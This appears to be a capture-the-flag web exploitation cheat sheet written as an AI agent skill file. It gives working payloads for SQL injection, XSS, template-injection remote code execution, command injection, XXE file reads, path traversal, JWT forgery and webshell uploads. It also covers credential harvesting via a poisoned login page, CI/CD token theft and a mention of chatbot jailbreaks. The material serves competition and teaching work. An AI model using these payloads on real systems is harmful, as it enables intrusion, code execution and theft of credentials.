Ctf Web

CTF Web Exploitation

Quick reference for web CTF challenges. Each technique has a one-liner here; see supporting files for full details with payloads and code.

Prerequisites

Python packages (all platforms):

pip install sqlmap flask-unsign requests

Linux (apt):

apt install hashcat jq curl

macOS (Homebrew):

brew install hashcat jq curl

Go tools (all platforms, requires Go):

go install github.com/ffuf/ffuf/v2@latest

Manual install:

• ysoserial — GitHub, requires Java (Java deserialization payloads)

Additional Resources

• server-side.md - Core server-side injection attacks: SQLi (EXIF metadata injection, MySQL column truncation, backslash/hex bypass, second-order, LIKE brute-force, processList trick, XML entity WAF bypass, Shift-JIS encoding bypass), SSTI (Jinja2, Go, EJS, ERB Sequel bypass, Mako, Twig, __dict__.update() quote bypass), SSRF (Host header, DNS rebinding, curl redirect), XXE, XML injection via X-Forwarded-For header, command injection (newline, blocklist bypass, sendmail, multi-barcode, git CLI newline injection), PHP type juggling, PHP file inclusion / php://filter
• server-side-exec.md - Code execution and server-side access attacks: Ruby/Perl/JS code injection, LaTeX injection RCE, PHP preg_replace /e RCE, Prolog injection, Common Lisp #.() reader macro injection, ReDoS timing oracle, file upload→RCE (.htaccess, log poisoning, Python .so hijack, Gogs symlink, ZipSlip), PHP deserialization from cookies, PHP extract() variable overwrite, XPath blind injection, Thymeleaf SpEL SSTI + Spring FileCopyUtils WAF bypass, SQLi keyword fragmentation bypass, SQL WHERE ORDER BY bypass, SQL injection via DNS records, bash brace expansion space-free injection, API filter injection, WebSocket mass assignment, PHP7 OPcache binary webshell + LD_PRELOAD disable_functions bypass, wget GET parameter filename trick, tar filename command injection, PNG/PHP polyglot upload + double extension + disable_functions bypass
• server-side-deser.md - Deserialization and execution attacks: Java deserialization (ysoserial gadget chains, JNDI injection, blind detection), Python pickle RCE (__reduce__, restricted unpickler bypass, STOP opcode chaining), PHP serialization length manipulation via filter word expansion, race conditions (TOCTOU async exploits, double-spend, coupon reuse)
• server-side-advanced.md - Advanced server-side techniques: ExifTool CVE-2021-22204, Go rune/byte mismatch, zip symlink traversal, path traversal bypasses (brace stripping, double URL encoding, os.path.join, %2f), Flask/Werkzeug debug mode, XXE external DTD filter bypass, WeasyPrint SSRF, MongoDB regex injection, Pongo2 Go template injection, ZIP PHP webshell, basename() bypass, React Server Components Flight RCE (CVE-2025-55182)
• server-side-advanced-2.md - Advanced server-side techniques (Part 2): SSRF to Docker API RCE chain, Castor XML xsi:type deserialization (Atlas HTB), Apache ErrorDocument expression file read (Zero HTB), SQLite file path traversal to bypass string equality, HQL injection via non-breaking space, base64-encoded path traversal, Windows 8.3 short filename bypass, URL parse_url @ symbol bypass, PHP zip:// wrapper LFI via PNG/ZIP polyglot, XSS to SSTI chain via Flask error pages, INSERT INTO dual-field SQLi column shift, session cookie forgery via timestamp-seeded PRNG, SSRF via parse_url/curl double-@ URL parsing discrepancy, LaTeX RCE via mpost restricted write18 bypass
• client-side.md - Client-side attacks: XSS, CSRF, CSPT, cache poisoning, DOM tricks, React input filling, hidden elements, XS-Leak timing oracle, GraphQL CSRF, admin bot javascript: URL scheme bypass, shadow DOM XSS, DOM clobbering, HTTP request smuggling, JPEG+HTML polyglot XSS, JSFuck decoding, CSS/JS paywall bypass
• client-side-advanced.md - Advanced client-side attacks: Unicode case folding XSS bypass (long-s U+017F), CSS font glyph container query exfiltration, Hyperscript CDN CSP bypass, PBKDF2 prefix timing oracle, client-side HMAC bypass via leaked JS secret, terminal control character obfuscation, CSP bypass via cloud function whitelisted domain, CSP nonce bypass via base tag hijacking, XSSI via JSONP callback exfiltration, CSP bypass via link prefetch, cross-origin XSS via shared parent domain cookie injection, XSS dot-filter bypass via decimal IP and bracket notation
• auth-and-access.md - Auth/authz attacks: password inference, weak validation, client-side gates, NoSQL auth bypass, cookie manipulation, admin login route cookie seeding, host header bypass, always-true hash check, affine cipher OTP brute-force, /proc/self/mem via HTTP Range requests, custom linear MAC forgery, hidden API endpoints, HAProxy/Express.js bypass, IDOR on WIP endpoints, HTTP TRACE method bypass, LLM/AI chatbot jailbreak, LLM safety model category gaps, open redirect chains (OAuth token theft), subdomain takeover, Apache mod_status info disclosure + session forging, JA4/JA4H TLS fingerprint matching
• auth-jwt.md - JWT/JWE token attacks: algorithm none, RS256→HS256 confusion, weak secret, unverified signature, JWK/JKU header injection, KID path traversal, balance replay, JWE forgery with exposed public key
• auth-infra.md - Infrastructure auth: OAuth/OIDC exploitation (redirect_uri bypass, token manipulation, state CSRF), CORS misconfiguration, git history credential leakage, CI/CD variable theft, identity provider API takeover (authentik/Keycloak), SAML SSO flow automation, Guacamole parameter extraction, login page poisoning, TeamCity REST API RCE, base64 decode leniency signature bypass
• node-and-prototype.md - Node.js: prototype pollution, VM sandbox escape, Happy-DOM chain, flatnest CVE, Lodash+Pug AST injection
• web3.md - Blockchain/Web3: Solidity exploits, proxy patterns, ABI encoding tricks, transient storage clearing collision (0.8.28-0.8.33), Foundry tooling
• cves.md - CVE-specific exploits: Next.js middleware bypass, curl credential leak, Uvicorn CRLF, urllib scheme bypass, Chrome referrer leak via Link header, TCP packet splitting firewall bypass, Puppeteer JS bypass, python-dotenv injection, HTTP request splitting (RFC 2047), Waitress WSGI cookie exfil, Deno import map hijack, Gogs symlink RCE (CVE-2025-8110), ExifTool DjVu, broken auth, AAEncode/JJEncode, protocol multiplexing, WeasyPrint attachment SSRF (CVE-2024-28184), React Server Components Flight RCE (CVE-2025-55182), Ruby-SAML XPath digest smuggling (CVE-2024-45409, Barrier HTB), PaperCut NG auth bypass + RCE (CVE-2023-27350, Bamboo HTB), Zabbix blind SQLi (CVE-2024-22120, Watcher HTB)

Web Recon Helper (web_recon.py)

Fast HTML inspection without saving to disk. Located at web_recon.py in this skill folder.

# Inspect a single page - prints forms, links, inputs, comments, flags
python .agents/skills/ctf-web/web_recon.py http://target:1337/

# Crawl all links from the homepage
python .agents/skills/ctf-web/web_recon.py http://target:1337/ map

Import in Python scripts:

import sys
sys.path.insert(0, r'c:\CTFRun\.agents\skills\ctf-web')
from web_recon import inspect, post_test, sqli_via_field, map_site

# Quick inspect - prints forms, links, comments, flag patterns
r = inspect("http://target:1337/login")

# Test multiple POST payloads quickly
post_test("http://target:1337/login", payloads={
    "sqli_or":   {"username": "' OR 1=1--", "password": "x"},
    "normal":    {"username": "admin",       "password": "admin"},
}, extra_fields={"email": "test@test.com"})

# Register+login with SQLi payload in username, returns session
s = sqli_via_field(
    signup_url="http://target:1337/signup",
    login_url="http://target:1337/login",
    payload="' UNION SELECT sqlite_version(),'1','2'--",
    extra_signup={"email": "test@test.com"}
)

# Map all links from authenticated home
map_site("http://target:1337/", cookie={"session": "abc123"})

inspect() auto-extracts: forms, input names, links, HTML comments, Set-Cookie/Location headers, and flag patterns (picoCTF{...} etc.).

Reconnaissance

• View source for HTML comments, check JS/CSS files for internal APIs
• Look for .map source map files
• Check response headers for custom X- headers and auth hints
• Common paths: /robots.txt, /sitemap.xml, /.well-known/, /admin, /api, /debug, /.git/, /.env
• Search JS bundles: grep -oE '"/api/[^"]+"' for hidden endpoints
• Check for client-side validation that can be bypassed
• Compare what the UI sends vs. what the API accepts (read JS bundle for all fields)
• Check assets returning 404 status — favicon.ico, robots.txt may contain data despite error codes: strings favicon.ico | grep -i flag
• Tor hidden services: feroxbuster -u 'http://target.onion/' -w wordlist.txt --proxy socks5h://127.0.0.1:9050 -t 10 -x .txt,.html,.bak

SQL Injection Quick Reference

Detection: Send ' — syntax error indicates SQLi

' OR '1'='1                    # Classic auth bypass
' OR 1=1--                     # Comment termination
username=\&password= OR 1=1--  # Backslash escape quote bypass
' UNION SELECT sql,2,3 FROM sqlite_master--  # SQLite schema
0x6d656f77                     # Hex encoding for 'meow' (bypass quotes)

XML entity encoding: UNION → UNION after XML parser decodes, bypasses WAF keyword filters.

EXIF metadata injection: embed SQL in image EXIF fields (exiftool -Comment="' UNION SELECT flag FROM flags--" image.jpg) to bypass WAFs that only inspect HTTP parameters.

Shift-JIS encoding bypass: \u00a5 (yen sign) maps to 0x5c (backslash) in SJIS, defeating Unicode-layer escape functions. See server-side.md.

SQL via QR codes: embed SQLi payload in QR image data; server decodes and queries without sanitization. See server-side.md.

SQL double-keyword filter bypass: nest stripped keyword inside itself (selselectect) so single-pass removal reconstructs it. See server-side.md.

See server-side.md for second-order SQLi, LIKE brute-force, MySQL column truncation, SQLi→SSTI chains, XML entity WAF bypass, EXIF metadata injection. See server-side-exec.md for SQLi via DNS records, SQLi keyword fragmentation, PHP preg_replace /e RCE, Prolog injection.

XSS Quick Reference

<script>alert(1)</script>
<img src=x
<svg

Filter bypass: hex \x3cscript\x3e, entities <script>, case mixing <ScRiPt>, event handlers.

• XSS dot-filter bypass: Decimal IP (1558071511 = 92.123.45.67) eliminates dots from URLs. JavaScript bracket notation (document["cookie"]) replaces dot property access. See client-side-advanced.md.
• Cross-origin cookie XSS: Set cookie with domain=.parent.tld from one subdomain to inject XSS payload rendered on a sibling subdomain. See client-side-advanced.md.

See client-side.md for DOMPurify bypass, cache poisoning, CSPT, React input tricks.

XSSI via JSONP Callback Exfiltration

JSONP endpoint (?callback=func) wraps sensitive data in a function call. Load cross-origin via <script src> with custom callback to exfiltrate. Chain: SHA1 cookie inversion -> IDOR on debug endpoint -> XSSI -> cloud function OOB. See client-side-advanced.md.

Path Traversal / LFI Quick Reference

../../../etc/passwd
....//....//....//etc/passwd     # Filter bypass
..%2f..%2f..%2fetc/passwd        # URL encoding
%252e%252e%252f                  # Double URL encoding
{.}{.}/flag.txt                  # Brace stripping bypass

Windows 8.3 short filename bypass: FILEFO~1.EXT short names bypass path filters that check the long filename. See server-side-advanced-2.md.

URL parse_url @ bypass: http://valid@attacker.com/ -- PHP parse_url() extracts attacker.com as host, bypassing domain checks. See server-side-advanced-2.md.

• SSRF double-@ parse discrepancy: http://x:x@127.0.0.1:80@allowed.host/path — parse_url() sees allowed.host, curl connects to 127.0.0.1. Distinct from single-@ bypass. See server-side-advanced-2.md.

Python footgun: os.path.join('/app/public', '/etc/passwd') returns /etc/passwd

JWT Quick Reference

1. alg: none — remove signature entirely
2. Algorithm confusion (RS256→HS256) — sign with public key
3. Weak secret — brute force with hashcat/flask-unsign
4. Key exposure — check /api/getPublicKey, .env, /debug/config
5. Balance replay — save JWT, spend, replay old JWT, return items for profit
6. Unverified signature — modify payload, keep original signature
7. JWK header injection — embed attacker public key in token header
8. JKU header injection — point to attacker-controlled JWKS URL
9. KID path traversal — ../../../dev/null for empty key, or SQL injection in KID

See auth-jwt.md for full JWT/JWE attacks and session manipulation.

SSTI Quick Reference

Detection: {{7*7}} returns 49

# Jinja2 RCE
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Go template
{{.ReadFile "/flag.txt"}}
# EJS
<%- global.process.mainModule.require('child_process').execSync('id') %>
# Jinja2 quote bypass (keyword args):
{{obj.__dict__.update(attr=value) or obj.name}}

Mako SSTI (Python): ${__import__('os').popen('id').read()} — no sandbox, plain Python inside ${} or <% %>. Twig SSTI (PHP): {{['id']|map('system')|join}} — distinguish from Jinja2 via {{7*'7'}} (Twig repeats string, Jinja2 returns 49). See server-side.md and server-side.md.

Quote filter bypass: Use __dict__.update(key=value) — keyword arguments need no quotes. See server-side.md.

ERB SSTI (Ruby/Sinatra): <%= Sequel::DATABASES.first[:table].all %> bypasses ERBSandbox variable-name restrictions via the global Sequel::DATABASES array. See server-side.md.

Thymeleaf SpEL SSTI (Java/Spring): ${T(org.springframework.util.FileCopyUtils).copyToByteArray(new java.io.File("/flag.txt"))} reads files via Spring utility classes when standard I/O is WAF-blocked. Works in distroless containers (no shell). See server-side-exec.md.

SSRF Quick Reference

127.0.0.1, localhost, 127.1, 0.0.0.0, [::1]
127.0.0.1.nip.io, 2130706433, 0x7f000001

DNS rebinding for TOCTOU: https://lock.cmpxchg8b.com/rebinder.html

Host header SSRF: Server builds internal request URL from Host header (e.g., http.Get("http://" + request.Host + "/validate")). Set Host to attacker domain → validation request goes to attacker server. See server-side.md.

Command Injection Quick Reference

; id          | id          `id`          $(id)
%0aid         # Newline     127.0.0.1%0acat /flag

When cat/head blocked: sed -n p flag.txt, awk '{print}', tac flag.txt

Bash brace expansion (space-free injection): {ls,-la,..} expands to ls -la .. without literal spaces. See server-side-exec.md.

Git CLI newline injection: %0a in URL path breaks out of backtick/system() shell calls that only filter ;|&<>. See server-side.md.

XXE Quick Reference

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

PHP filter: <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">

XXE in DOCX uploads: DOCX is ZIP+XML; inject XXE in [Content_Types].xml inside the archive. See server-side.md.

PHP Type Juggling Quick Reference

Loose == performs type coercion: 0 == "string" is true, "0e123" == "0e456" is true (magic hashes). Send JSON integer 0 to bypass string password checks. strcmp([], "str") returns NULL which passes !strcmp(). Use === for defense.

See server-side.md for comparison table and exploit payloads.

PHP File Inclusion / LFI Quick Reference

php://filter/convert.base64-encode/resource=config leaks PHP source code without execution. Common LFI targets: /etc/passwd, /proc/self/environ, app config files. Null byte (%00) truncates .php suffix on PHP < 5.3.4.

See server-side.md for filter chains and RCE techniques.

Code Injection Quick Reference

Ruby instance_eval: Break string + comment: VALID');INJECTED_CODE# Perl open(): 2-arg open allows pipe: |command| JS eval blocklist bypass: row['con'+'structor']['con'+'structor']('return this')() PHP deserialization: Craft serialized object in cookie → LFI/RCE LaTeX injection: \input{|"cat /flag.txt"} — shell command via pipe syntax in PDF generation services. \@@input"/etc/passwd" for file reads without shell.

• LaTeX restricted write18 bypass: When write18 is restricted, mpost -ini "-tex=bash -c (cmd)" file.mp uses mpost's whitelisted status to execute arbitrary commands. ${IFS} replaces spaces. See server-side-advanced-2.md. PHP assert() injection: assert("strpos('$input', '..') === false") — inject ') || system('cmd');// for RCE (PHP < 7.2). See server-side-exec.md. Common Lisp read injection: #.(run-shell-command "cat /flag") — reader macro evaluates at parse time. See server-side-exec.md. Ruby ObjectSpace scanning: ObjectSpace.each_object(String) dumps all in-memory strings including flag. See server-side-exec.md.

See server-side-exec.md for full payloads and bypass techniques.

Java Deserialization

Serialized Java objects (rO0AB / aced0005) + ysoserial gadget chains → RCE via ObjectInputStream.readObject(). Try CommonsCollections1-7, URLDNS for blind detection. See server-side-deser.md.

Python Pickle Deserialization

pickle.loads() calls __reduce__() → (os.system, ('cmd',)) instant RCE. Also via yaml.load(), torch.load(), joblib.load(). See server-side-deser.md.

Race Conditions (TOCTOU)

Concurrent requests bypass check-then-act patterns (balance, coupons, registration). Send 50 simultaneous requests — all see pre-modification state. See server-side-deser.md.

Node.js Quick Reference

Prototype pollution: {"__proto__": {"isAdmin": true}} or flatnest circular ref bypass VM escape: this.constructor.constructor("return process")() → RCE Full chain: pollution → enable JS eval in Happy-DOM → VM escape → RCE

Prototype pollution permission bypass (Server OC, Pragyan 2026):

# When Express.js endpoint checks req.body.isAdmin or similar:
curl -X POST -H 'Content-Type: application/json' \
  -d '{"Path":"value","__proto__":{"isAdmin":true}}' \
  'https://target/endpoint'
# __proto__ pollutes Object.prototype, making isAdmin truthy on all objects

Key insight: Always try __proto__ injection on JSON endpoints, even when the vulnerability seems like something else (race condition, SSRF, etc.).

See node-and-prototype.md for detailed exploitation.

Auth & Access Control Quick Reference

• Cookie manipulation: role=admin, isAdmin=true
• Public admin-login cookie seeding: check if /admin/login sets reusable admin session cookie
• Host header bypass: Host: 127.0.0.1
• Hidden endpoints: search JS bundles for /api/internal/, /api/admin/; fuzz with auth cookie for non-/api routes like /internal/*
• Client-side gates: window.overrideAccess = true or call API directly
• Password inference: profile data + structured ID format → brute-force
• Weak signature: check if only first N chars of hash are validated
• Affine cipher OTP: only 312 possible values (12 mults × 26 adds), brute-force all in seconds
• TOTP srand(time()) weakness: PHP srand(time()) seeds PRNG predictably; sync server clock to predict TOTP codes. See auth-and-access.md
• Express.js %2F middleware bypass: /api/export%2Fchat skips app.all("/api/export/chat") middleware; nginx decodes %2F before proxying
• IDOR (Insecure Direct Object Reference) on WIP endpoints: grep for WIP/TODO/debug comments, compare auth decorators against production endpoints
• Git history credential leakage: git log -p --all -S "password" finds deleted secrets
• CI/CD variable theft: GitLab/Jenkins/GitHub CI/CD variables store service account tokens
• Identity provider API takeover: admin token → set any user's password, bypass MFA with not_configured_action: skip
• SAML SSO automation: preserve RelayState through entire flow, submit signed SAMLResponse to callback
• Guacamole parameter extraction: API token or MySQL access exposes SSH keys and passphrases
• Login page poisoning: inject credential logger into login page, harvest automated logins from /dev/shm/creds.txt
• TeamCity REST API RCE: admin creds → create project → add build step → trigger build (runs as build agent user, often root)

Apache CVE-2012-0053 HttpOnly Cookie Leak

Send oversized Cookie header to trigger 400 Bad Request; Apache's error page reflects the cookie value, leaking HttpOnly cookies. See cves.md.

Apache mod_status Information Disclosure

/server-status endpoint reveals active URLs, client IPs, and session data. Use for admin endpoint discovery and session forging. See auth-and-access.md.

Open Redirect Chains

Chain open redirects (?redirect=, ?next=, ?url=) with OAuth flows for token theft. Bypass validation with @, %00, //, \, CRLF. See auth-and-access.md.

Subdomain Takeover

Dangling CNAME → claim resource on external service (GitHub Pages, S3, Heroku). Use subfinder + httpx to enumerate, check fingerprints. See auth-and-access.md.

See auth-and-access.md for access control bypasses, auth-jwt.md for JWT/JWE attacks, and auth-infra.md for OAuth/SAML/CI-CD/infrastructure auth.

File Upload → RCE

• .htaccess upload: AddType application/x-httpd-php .lol + webshell
• Gogs symlink: overwrite .git/config with core.sshCommand RCE
• Python .so hijack: write malicious shared object + delete .pyc to force reimport
• ZipSlip: symlink in zip for file read, path traversal for file write
• Log poisoning: PHP payload in User-Agent + path traversal to include log
• PNG/PHP polyglot + double extension: valid PNG with <?php after IEND chunk, uploaded as .png.php; when disable_functions blocks exec, use scandir('/') + file_get_contents() for flag. See server-side-exec.md.

See server-side-exec.md for detailed steps.

Multi-Stage Chain Patterns

0xClinic chain: Password inference → path traversal + ReDoS oracle (leak secrets from /proc/1/environ) → CRLF injection (CSP bypass + cache poisoning + XSS) → urllib scheme bypass (SSRF) → .so write via path traversal → RCE

Key chaining insights:

• Path traversal + any file-reading primitive → leak /proc/*/environ, /proc/*/cmdline
• CRLF in headers → CSP bypass + cache poisoning + XSS in one shot
• Arbitrary file write in Python → .so hijacking or .pyc overwrite for RCE
• Lowercased response body → use hex escapes (\x3c for <)

Useful Tools

sqlmap -u "http://target/?id=1" --dbs       # SQLi
ffuf -u http://target/FUZZ -w wordlist.txt   # Directory fuzzing
flask-unsign --decode --cookie "eyJ..."      # JWT decode
hashcat -m 16500 jwt.txt wordlist.txt        # JWT crack

Flask/Werkzeug Debug Mode

Weak session secret brute-force + forge admin session + Werkzeug debugger PIN RCE. See server-side-advanced.md for full attack chain.

XXE with External DTD Filter Bypass

Host malicious DTD externally to bypass upload keyword filters. See server-side-advanced.md for payload and webhook.site setup.

JSFuck Decoding

Remove trailing ()(), eval in Node.js, .toString() reveals original code. See client-side.md.

DOM XSS via jQuery Hashchange (Crypto-Cat)

$(location.hash) + hashchange event → XSS via iframe: <iframe src="https://target/#" src=x>. See client-side.md.

/flag.txt, /flag, /app/flag.txt, /home/*/flag*
Environment variables: /proc/self/environ
Database: flag, flags, secret tables
Response headers: x-flag, x-archive-tag, x-proof
Hidden DOM: display:none elements, data attributes